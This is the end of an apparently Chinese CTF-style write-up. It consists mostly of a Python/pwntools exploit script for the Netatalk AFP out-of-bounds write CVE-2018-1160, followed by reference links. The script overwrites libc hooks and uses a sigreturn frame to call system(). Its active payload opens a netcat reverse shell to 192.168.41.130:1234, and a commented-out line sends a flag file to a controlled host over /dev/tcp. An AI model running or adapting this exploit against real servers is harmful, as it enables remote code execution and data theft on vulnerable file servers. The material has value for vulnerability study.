magic = libc_base + 0x7eaff
dl_openmode = libc_base + 0x166398
dl_open_hook = libc_base + 0x3f0588

r = remote(ip,port)
r.send(create_header(p64(free_hook-0x30))) # overwrite afp_command buf with free_hook-0x30
#

rip="127.0.0.1"
rport=1234
#cmd='bash -c "cat /home/wz/flag > /dev/tcp/%s/%d" \x00' % (rip,rport) # cat flag to controled ip and port
cmd='bash -c "nc 192.168.41.130 1234 -t -e /bin/bash" \x00'# cat flag to controled ip and port

sigframe = SigreturnFrame()
sigframe.rdi = free_hook + 8
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rax = 0
sigframe.rsp = free_hook+0x400
sigframe.rip = libc.sym['system']

payload = '\x00'*0x2e
payload += p64(dl_openmode) # free_hook
payload += cmd.ljust(0x2c98,'\x00')
payload += p64(dl_open_hook+8) + p64(magic)*4
payload += p64(libc.sym['setcontext']+53)
payload += str(sigframe)[0x28:]
r.send(create_afp(0,payload))
raw_input()
r.send(create_afp(18,""))

r.interactive()

参考链接

Netatalk-CVE-2018-1160-分析

exploiting-an-18-year-old-bug

hiton-2019-quals

Netatalk CVE-2018–1160 越界写漏洞分析

您的支持将鼓励我继续创作